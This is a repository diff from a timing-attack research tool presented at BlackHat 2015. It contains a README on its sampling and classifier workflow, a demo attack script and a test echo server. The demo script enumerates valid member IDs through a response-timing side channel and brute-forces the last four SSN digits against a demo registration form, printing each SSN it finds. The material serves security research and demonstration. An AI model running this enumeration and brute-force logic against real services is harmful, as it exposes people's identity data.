Index: /README.md
===================================================================
--- /README.md	(revision 18)
+++ /README.md	(revision 18)
@@ -0,0 +1,104 @@
+# Nanown
+
+A tool for identifying, evaluating, and exploiting timing
+vulnerabilities remotely.  This is part of the output from a research
+effort [discussed at BlackHat 2015](https://www.blackhat.com/us-15/briefings.html#web-timing-attacks-made-practical).
+This project is still highly experimental and not particularly easy to
+use at this point.
+
+
+# Prerequisites
+
+Linux and Python 3.4+ are required.  Yes, really, your Python needs to
+be that new.  You will also need to install the following modules for
+this version of Python:
+```
+requests
+numpy
+netifaces 
+matplotlib
+```
+On Debian unstable, you can get these by running:
+```
+apt-get install python3-requests python3-numpy python3-netifaces python3-matplotlib
+```
+Otherwise, resort to `pip3`.
+
+In addition, you'll need to have a C compiler and the development
+package for libpcap installed.  Under Debian this is probably sufficient:
+```
+apt-get install libpcap-dev gcc
+```
+
+
+# Installation
+
+Hah! Funny.
+
+Currently there's no installation script...
+
+To attempt to use this code, clone the repository and build the
+`nanown-listen` tool with:
+```
+cd nanown/trunk/src && ./compile.sh
+```
+
+That will drop the `nanown-listen` binary under nanown/trunk/bin.  You
+must then put this directory in your `$PATH` in order to perform any
+data collection.
+
+To run any of the other scripts, change to the nanown/trunk directory
+and run them directly from there.  E.g.:
+```
+bin/train ...args...
+bin/graph ...args...
+```
+
+
+# Usage
+
+Our goal for a usage workflow is this:
+
+1. Based on example HTTP requests, and test cases supplied by the user,
+   a script generator creates a new script.  This new script serves
+   as the sample collection script, customized for your web
+   application.
+
+2. After collecting samples using the script from step 1, you run a
+   mostly automated script to train and test various classifiers on your
+   samples.  This will then tell you how many samples you need to
+   reliably detect the timing difference.
+
+3. Given the output from step 3 and inputs to step 1, a second script
+   generator creates an attack script for you as a starting point.  You
+   customize this and run your attacks.
+
+Sounds great, yeah?  Well steps 1 and 3 aren't quite implemented yet. =\
+
+If you are really dying to use this code right now, just make a copy of
+the `trunk/bin/sampler` script and hack on it until it sends HTTP requests
+that your targeted web application expects.  Be sure to define the test
+cases appropriately.  Then run it to collect at least
+50,000 samples for each the train, test and train_null data sets
+(150,000 samples total).  NOTE: Your sampler script must be run as `root`
+so it can tweak local networking settings and sniff packets.
+
+Next you can move on to step 2, where you simply run the train script
+against the database created by your sampler script:
+```
+bin/train mysamples.db
+```
+This will run for a while.  If you cancel out and re-run it, it will
+pick up where it left off.  Pay special attention to the final results
+it prints out.  This will tell you how many samples are needed to
+distinguish between the test cases.  Do a little math on your own to
+decide how feasible your overall attack will be.
+
+Finally, we come to step 3.  If you choose to carry out an attack, you
+will need to implement your own attack script that collects batches of
+samples, distinguishes between them using the best classifier available
+(from step 2) and then repeats as needed.  Consider starting with the
+sample script at `test/blackhat-demo/jregistrate-attack`.
+
+Any questions?  See the source, watch our BlackHat presentation, read
+our research paper, or [post an issue](https://github.com/ecbftw/nanown/issues) on GitHub.
Index: /test/blackhat-demo/jregistrate-attack
===================================================================
--- /test/blackhat-demo/jregistrate-attack	(revision 17)
+++ /test/blackhat-demo/jregistrate-attack	(revision 18)
@@ -43,4 +43,6 @@
 parser.add_argument('port', nargs='?', type=int, default=8080,
                     help='TCP port number of HTTP service (default: 8080)')
+parser.add_argument('guess', nargs='?', type=str, default=None,
+                    help='Retry a member_id guess')
 options = parser.parse_args()
 
@@ -75,5 +77,4 @@
             session = requests.Session()
             response = session.send(req, verify=False)
-            #print(repr(response.raw._original_response.local_address))
             reported = extractReportedRuntime(response.headers, response.text)
             retry = False
@@ -82,5 +83,4 @@
             time.sleep(1.0)
             sys.stderr.write("ERROR: retrying...\n")
-        #print(data.encode('utf-8'), reported)
         
     return {'userspace_rtt':response.elapsed.microseconds*1000,
@@ -103,4 +103,38 @@
 
 
+def guessSSN(member_id, last_four):
+    method = 'POST'
+    path = '/jregistrate/register'
+    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
+    headers = {"Content-Type":"application/x-www-form-urlencoded"}
+    body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321')
+    req = requests.Request(method, url, headers=headers, data=body).prepare()
+    session = requests.Session()
+    response = session.send(req, verify=False)
+
+    if 'Bad password' in response.text:
+        return True
+    else:
+        return False
+    
+
+def bruteSSN(member_id):
+    from nanownlib.parallel import WorkerThreads
+    wt = WorkerThreads(4, guessSSN)
+    
+    for last_four in range(9999):
+        ssn = "%4d" % last_four
+        wt.addJob(ssn, (member_id,ssn))
+
+    for i in range(9999):
+        ssn,success = wt.resultq.get()
+        if success:
+            wt.stop()
+            return ssn
+
+    wt.stop()
+    return None
+
+
 setCPUAffinity()
 setTCPTimestamps()
@@ -109,18 +143,21 @@
 
 cases = {"invalid":"0012-9999"}
-guesses = [("0012-%d"%id) for id in range(0,9999) if id != 2019]
+guesses = [("0012-%04d"%id) for id in range(0,9999) if id != 2019]
 random.shuffle(guesses)
-num_observations = 100
+num_observations = 250
 trim = (0,0)
-classifier = "septasummary"
-params = {"distance": 25, "threshold": 40094.274}
+classifier = "quadsummary"
+params = {"distance": 5, "threshold": 18761.53575}
 classifierTest = functools.partial(classifiers[classifier]['test'], params, True)
 
+if options.guess != None:
+    guesses = [options.guess]
 
 sid = findMaxSampleID(db) + 1
 for guess in guesses:
     print("Collecting samples for:", guess)
+    start = time.time()
     cases["valid"] = guess
-    stype = "attack_%s" % guess
+    stype = "attack_%s_%d" % (guess, int(time.time()*1000))
     sample_order = list(cases.items())
 
@@ -147,32 +184,13 @@
     sniffer_fp.close()
     num_probes = analyzeProbes(db, trim=trim)
-    print("num_probes: ", num_probes)
 
     if classifierTest(db.subseries(stype, "valid")):
-        print("Found valid member_id: ", guess)
-        break
-
-
-def guessSSN(member_id, last_four):
-    method = 'POST'
-    path = '/jregistrate/register'
-    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
-    headers = {"Content-Type":"application/x-www-form-urlencoded"}
-    body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321')
-    req = requests.Request(method, url, headers=headers, data=body).prepare()
-    session = requests.Session()
-    response = session.send(req, verify=False)
-
-    if 'Bad password' in response.text:
-        return True
+        print("  Looks valid...")
+        ssn = bruteSSN(guess)
+        if ssn == None:
+            print("  Hmm, didn't find an SSN... ")
+        else:
+            print("  W00t! Found SSN: %s" % ssn)
     else:
-        return False
-
-    
-print(guessSSN('0012-5969', '4298'))
-sys.exit(0)
-
-for last_four in range(9999):
-    if guessSSN(guess, "%4d" % last_four):
-        print("Found valid SSN last four digits:", last_four)
-        break
+        print("  Looks invalid")
+    print("  Runtime: ", time.time()-start)
Index: /test/blackhat-demo/jregistrate-collect
===================================================================
--- /test/blackhat-demo/jregistrate-collect	(revision 17)
+++ /test/blackhat-demo/jregistrate-collect	(revision 18)
@@ -34,7 +34,5 @@
 parser = argparse.ArgumentParser(
     description="")
-parser.add_argument('-c', dest='cases', type=str, default='{"valid":"0012-5969","invalid":"0012-9999"}',
-                    help='JSON representation of echo timing cases.')
-parser.add_argument('--no-tcpts', action='store_true', help='Disbale TCP timestamp profiling')
+parser.add_argument('--no-tcpts', action='store_true', help='Disable TCP timestamp profiling')
 parser.add_argument('--no-control', action='store_true', help='Do not collect separate control data.  Instead, synthesize it from test and train data.')
 parser.add_argument('session_name', default=None,
@@ -55,5 +53,5 @@
 protocol = 'http'
 
-cases = json.loads(options.cases)
+cases = {"valid":"0012-8846","invalid":"0012-9999"}
 
 
@@ -69,10 +67,10 @@
 
 
-def sendRequest(data=None):
+def sendRequest(case_data):
     method = 'POST'
     path = '/jregistrate/register'
     url = "%s://%s:%d%s" % (protocol,hostname,port,path)
     headers = {"Content-Type":"application/x-www-form-urlencoded"}
-    body = (b'member_id='+data.encode('utf-8')+b'&last_four=1111&zip_code=97219&username=bob&password=&conf_pwd=')
+    body = (b'member_id='+case_data.encode('utf-8')+b'&last_four=1111&zip_code=97219&username=bob&password=&conf_pwd=')
     req = requests.Request(method, url, headers=headers, data=body).prepare()
 
@@ -82,5 +80,4 @@
             session = requests.Session()
             response = session.send(req, verify=False)
-            #print(repr(response.raw._original_response.local_address))
             reported = extractReportedRuntime(response.headers, response.text)
             retry = False
@@ -89,5 +86,4 @@
             time.sleep(1.0)
             sys.stderr.write("ERROR: retrying...\n")
-        #print(data.encode('utf-8'), reported)
         
     return {'userspace_rtt':response.elapsed.microseconds*1000,
@@ -170,5 +166,4 @@
                 sample_order[i] = (sample_order[i][0],sample_order[0][1])
             random.shuffle(sample_order)
-            #print('after', sample_order)
             
         results = []
@@ -179,5 +174,4 @@
                                  sample_order[i][1]))
 
-        #print(results)
         db.addProbes(results)
         db.conn.commit()
@@ -185,7 +179,5 @@
 
         if (time.time() > next_report):
-            #s = time.time()
             reportProgress(db, sample_types, start)
-            #print("reportProgress time:", time.time()-s)
             next_report += report_interval
 
@@ -194,9 +186,6 @@
 stopSniffer(sniffer)
 
-start = time.time()
 associatePackets(sniffer_fp, db)
 sniffer_fp.close()
-end = time.time()
-print("associate time:", end-start)
 
 if options.no_control:
Index: /test/services/multipacket-echo.py
===================================================================
--- /test/services/multipacket-echo.py	(revision 18)
+++ /test/services/multipacket-echo.py	(revision 18)
@@ -0,0 +1,50 @@
+#!/usr/bin/env python3
+#
+# Copyright (C) 2015 Blindspot Security LLC
+# by Timothy D. Morgan
+# twits: @ecbftw
+
+import sys
+import time
+import socketserver
+import http.server
+
+
+class EchoHandler(http.server.BaseHTTPRequestHandler):
+    """
+    """
+
+    def do_GET(self):
+        #resolution = time.clock_getres(time.CLOCK_MONOTONIC)
+        received = int(time.monotonic()*1000000000)
+        wait_time = 0
+        if 't=' in self.path:
+            wait_time = int(self.path.split('t=', 1)[1], 10)
+
+        self.send_response(200)
+        self.send_header('Content-Type','text/plain; charset=UTF-8')
+        self.end_headers()
+
+        self.wfile.write(b'header\n')
+        self.wfile.flush()
+
+        # Use a busy-wait with monotonic clock.  More accurate than time.sleep()
+        finish = received + wait_time
+        now = int(time.monotonic()*1000000000)
+        while now < finish:
+            now = int(time.monotonic()*1000000000)
+
+        self.wfile.write(b'body\n')
+        self.wfile.flush()
+
+        self.wfile.write(b'more content\n')
+        self.wfile.flush()
+
+        self.wfile.write(b'footer\n')
+        self.wfile.flush()
+
+
+if __name__ == "__main__":
+    HOST, PORT = "0.0.0.0", 3240
+    server = socketserver.TCPServer((HOST, PORT), EchoHandler)
+    server.serve_forever()
